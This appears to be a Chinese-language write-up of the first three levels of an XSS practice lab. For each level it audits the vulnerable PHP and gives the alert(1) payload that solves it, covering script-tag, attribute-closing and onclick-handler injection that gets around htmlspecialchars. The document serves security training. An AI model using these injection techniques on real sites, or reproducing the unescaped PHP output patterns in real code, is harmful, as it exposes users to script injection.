XSS靶机
level1
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
## 若执行了alert,则执行以下语句
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
观察到URL为
http://192.168.64.2/xss/level1.php?name=test
整个PHP文件只有URL处有输入空间,且test直接在下列语句中显示
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
审计源码,直接显示test
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
故payload为
http://192.168.64.2/xss/level1.php?name=<script>alert(1)</script>
level2
keyword在php中为
<input name="keyword" value="test">
审计源码,做了htmlspecialchars的过滤
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
此处无法xss
还有一处用到了keyword
<input name=keyword value="'.$str.'">
需要闭合尖括号和双引号,因此payload为
http://192.168.64.2/xss/level2.php?keyword="><script>alert(1)</script>
php的htmlspecialchars
&:转换为&
":转换为"
':转换为成为 '
<:转换为<
>:转换为>
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
level3
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
需要绕过htmlspecialchars
payload
' onclick='alert(1)
onclick中使用javascript
# 使用js事件的onclick
onclick=alert(1)